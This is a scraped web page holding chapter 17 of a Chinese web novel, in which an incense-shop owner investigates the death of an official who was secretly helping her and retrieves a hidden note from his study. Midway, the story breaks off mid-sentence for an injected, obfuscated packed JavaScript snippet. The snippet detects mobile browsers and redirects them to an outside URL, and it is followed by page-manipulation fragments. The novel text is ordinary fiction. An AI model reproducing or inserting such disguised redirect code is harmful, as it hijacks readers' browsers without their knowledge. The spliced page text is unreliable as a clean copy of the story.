17. 第17章
作品:《捡来的夫君是仇敌》 时烟握着茶杯的手一松,接着红了眼满脸不相信。
“可查出是谁?”时烟颤抖着声音问道:“怎么会……”
这太常丞是她父亲的好友,沈家出事以来他一直在暗中帮忙调查,也知晓自己的身份。
怎的……
时烟满眼恨意攥紧着拳头,“刘妈,劳得你去探探,太常丞是怎么死的,可曾抓到凶手?”
刘妈叹着气,道:“自从听到这个消息我便去问了,没有一点风声,外界都说暴毙在家中是外来的奸细所杀。”
“娘子。”刘妈轻声唤道,见她不对劲担忧问着:“娘子可是认得他?”
闻言,时烟心里一顿,平静了一下自己的情绪,淡道:“他向我们香坊订了不少香品,想着过几日送过去,哪知……”
不等刘妈开口,时烟摆了摆手,“罢了,你下去吧。”
刘妈走后,时烟这才哑声落泪。
自出事之后,这太常丞便偷偷派人一直寻她,好不容易寻到了,还从他那里得到了花名册。
时烟知晓他在宫中任职不易调查,便同他约好暗号借香上门,其余的她自己来。
没想到,先来的却是他的死讯。
时烟看着那账本无声落泪。
翌日。
时烟正常在香坊中忙活,没有任何异常。
昨日伤心完后,她心中有了猜测。
太常丞死了,说不定是查到了什么才会被灭口,那她的身份是不是……
“哎呀娘子。”
刘妈的惊呼声将发呆的时烟吓了一跳。
回神后才发现自己将茶水倒了一地。
见状,刘妈连忙上前将茶水收拾好,一脸担忧说着:“娘子,你今日脸色怎么那么差,要不回去先休息?”
时烟摇摇头,嘴角挂着笑:“你看我都忙糊涂了,我没事。”
“那你不适了一定要同我说,可别累着自己。”
时烟点头,“嗯,你去忙吧我看会账本。”
待刘妈走后,时烟看了眼门外巡逻的衙役,没减少反倒更多了。
她想着过几日,带着香品上门,想着探探太常丞府是不是找到了什么重要的证据。
他们之前约定好,若是有消息便书信来往,这次她没收到,或许是来不及给便遭了灭口。
目前衙役多,她也不能贸然行动。
这一等,便等了七八日。
街上巡逻的衙役撤了不少,时烟回府后便吩咐着阿肆可以出府了。
闷了小半月的阿肆终于呼吸到府外的空气,连小影都为他高兴。
“你可以出门咯。”小影笑道。
“是啊,这段时间我在府中待得身子都僵了不少。”阿肆说着,看了眼身旁的小影,道:“走我请你吃食江楼的烤鸡。”
话落,小影眼睛睁得大大的,刚想点头答应又担忧着:“那烤鸡太贵,你这钱够吗?”
阿肆搭着他的肩膀,说:“放心吧,我这段时间没出门钱都攒着的,买一整只咱俩一人一半。”
小影听到这儿,笑得眼睛都眯了起来,“那行!”
见两人勾肩搭背笑着出门,时烟无奈笑着摇头。
原以为阿肆和小影年纪差了六七岁聊不到一块去。
是她想多了。
时烟回屋后便着手准备着,想着一会带些新品去太常丞府里看看。
也不知道府中现在是什么情况,她能不能顺利进去。
阿肆再回来时,见时烟正在府中整理着大批大批的香料。
见状,阿肆不解问道:“娘子这是打算去哪儿?”
“有位官爷订了新品,我正准备装箱送去。”时烟看了眼来人,说着:“一会你同刘妈在府中,我自己去就行。”
阿肆刚打算同时烟一起去就被她这话止住了。
“真不需要我陪同吗?”阿肆还想争取着。
时烟摇头,“不用,我把货送去拜访一下就好,若我两个时辰还没回来再去寻我就好,刘妈知道我在哪儿。”
阿肆这才没说话,看着时烟出了府。
时烟带着满满一箱的香料前往了太常丞府,没想到外面还有不少衙役看守。
好在时烟料想到了,提前准备好了东西。
见来人,衙役连忙出声驱赶着:“去去去,没看见这里不让进了吗?”
时烟来前就查过,太常丞死后这府中正在遣散仆人,还有官差来封东西。
她正好趁乱能混进去看看有没有异常。
时烟面上挂着淡笑,朝衙役解释着:“这位官爷,我是香坊来送香的,前些日子这太常丞在我店中定了不少香,这香一准备好我便送来了。”
话落,时烟朝里探了探,又道:“还劳烦官爷通融一下,我将香送进去同主人家验验香就出来。”
那衙役脸上写满不耐烦,语气也不算好驱赶道:“哼,不知道太常丞已经死了嘛,这香还送来干嘛?”
“这香都是主人家亲自定香品,这钱还差不少呢,我也不能做了亏本买卖不是。”时烟轻笑着。
见这衙役还是不通融,上前掏出一袋银子塞进那人手中,轻声道:“这商贩最做不得亏本买卖,这些就当给官爷喝酒的,还望成全。”
衙役掂了掂重量,阴沉的脸上这才带着笑,“我也不好为难你,看在你实在难办的份上,验好香就紧着出来。”
“多谢官爷。”时烟行了礼命人抬着香进了府中。
时烟环视了一圈,好在她之前来过太常丞否则这偌大的府邸不知何时才能找到书房。
前厅里,正有衙役正将东西封起来搬走。
主座上还坐着位妇人。
这人时烟识得,是太常丞的妻子--赵芳,之前定的暗号是香也正是他妻子喜香。
多日不见,眼前的人满脸沧桑白发穿插在黑发间显得苍老了不少。
见来人,赵芳擦了擦泪痕微微侧身躲着,沙哑的声音响起:“今日不便见客,还是请回吧。”
时烟行了礼,开口:“赵夫人,我是来送香的。”
话音一落,赵芳这才回头将那副疲惫的面容露出,“时娘子,不好意思。”
时烟微微摇头,将身后的香都打开,柔声道:“这些是大人先前在店中预定的香,可惜工期太慢我今日才送来。”
赵芳苦笑着,“这人也是,都走了还买那么多香。”
“大人知你爱香,这些都是他亲自挑的。”
赵芳好不容易止住的眼泪又顷刻而出,滴了衣襟都湿了,蹲在箱子旁边看着那些香泣不成声,脑中全是他们恩爱的声音。
“夫人,这香好闻定是你喜欢的。”
“这香温雅,不骄不躁就配得上夫人。”
“我想寻遍天下的香送给夫人,我的夫人自是用得最好的香。”
见状,时烟心里也不好受,毕竟他们夫妻恩爱世人都看在眼中。
时烟见身旁都有衙役看守,便蹲下身安慰道:“赵夫人,这些香你好生收着,上次与大人定香时我落了香粉本子在书房,上面都写了我们香坊有哪里香哪里功效,所以想来找找。”
赵芳将眼泪擦干盯着时烟的眸子看了一会才起身,看了周围的衙役,道:“这来来往往的衙役搬东西,也不知道还在不在,我领你去看看。”
“多谢赵夫人。”
时烟同赵芳来到书房,将锁了的门打开,说:“你去那边看看我在这里找找。”
时烟看了眼她没说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287808|197911||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,只是点了点头。
时烟没敢太大动静,只能细微的找着。
这时门外传来呵斥声:“这房门怎么回事?不是都关了吗?!”
闻声,时烟心里一紧,也不敢有太大表现只能慢慢找嘴里念叨着:“我记得香粉本子是落这儿了。”
“诶你什么人!”衙役看着时烟,冷道:“你转过身来!”
见状,一旁的赵芳连忙走来,解释道:“我带她来的,前些日子她落下东西在这儿,我带她来寻寻。”
“寻什么?”衙役质问着。
时烟余光睨了一眼,起身走到赵芳身旁,轻笑着:“是一本上面带着粉色花的本子,是我店中所记录各种心香粉的,我在这儿没寻到。”
“本子?”官爷蹙着眉头回想着。
见状,时烟连忙问道:“官爷可曾见过?”
“我知道在哪儿,前两天翻出来一本。”衙役见眼前两位手无缚鸡之力的女子,也就没起疑心,说着:“你同我来吧。”
“多谢官爷。”
时烟拿到本子翻阅着,随后脸上挂着笑,道:“就是这本,还好找到了。”
衙役:“找到了你就快些走,这里不便留外人。”
时烟颔首,同一旁的赵芳道:“那赵夫人我就先回去了,有空到我府中喝茶鉴香,大人在我店里预定了你以后所有的香。”
赵芳眼中含泪,“我送送你吧。”
时烟没拒绝,两人路上都没怎么开口,最后还是赵芳打破了这段宁静。
“你同我夫君是不是在查什么?”
时烟心里一紧看着她没接话。
赵芳叹着气,小声道:“我只知道你们在调查什么旧事,却不曾知道里面内容。”
“我们夫妻感情好,他从不瞒着我什么唯独这件事,他只是说抓到这背后之人,百姓的日子就好过了。”
“他也说过这件事有危险希望我不要知道的好,没想到这危险来的这么快,竟然将自己……”
时烟拍着她的肩安慰着:“大人心系民生。”
赵芳擦去眼角的泪,道:“时娘子也要多多保重身子,万事皆要小心。”
时烟颔首,回想起什么询问着:“时烟冒犯了,那日大人可有什么异常?”
话落,赵芳摇头也带着好奇:“那日并无异常,他上完朝后受好友之邀去喝酒,回来后便一脸沉重。问他也只是说酒喝多了头疼。”
“我本想让他回房休息他却说要处理完手头上的事情让我先休息,没曾想我再去书房寻他时,他已经……”
这话听得时烟很是酸涩,这太常丞定是在那好友的宴席上知道了什么。
“赵夫人这话可同官差们说过?”时烟问道。
赵芳摇头,“没有我怕牵扯出来更多就没多说。”
时烟点头,“夫人切记这件事不可让第三人知道。”
赵芳嗯了一声送时烟出了府。
时烟上了车后便回了府中。
回来时,阿肆正在门外等着一副着急的模样。
见状她询问道:“阿肆出什么事情了这么慌乱?”
直到时烟出现在他的眼中才松了口气,“娘子说好两个时辰还真是两个时辰,让我等的好辛苦。”
“你等我做什么?”时烟不解。
“娘子亲口说的,两个时辰不见你回来再去寻你,我这不是怕娘子有危险吗?”
时烟笑道:“我能出什么事情,我饿了先回房洗漱,你去煲个汤我想喝。”
阿肆走后她便快步回了房,趁着周围没人偷偷拿出从太常丞府中带出来的纸条。
这纸条还是她从桌脚下得来的。
时烟打开纸条面色一紧,紧接着便是敲门声。

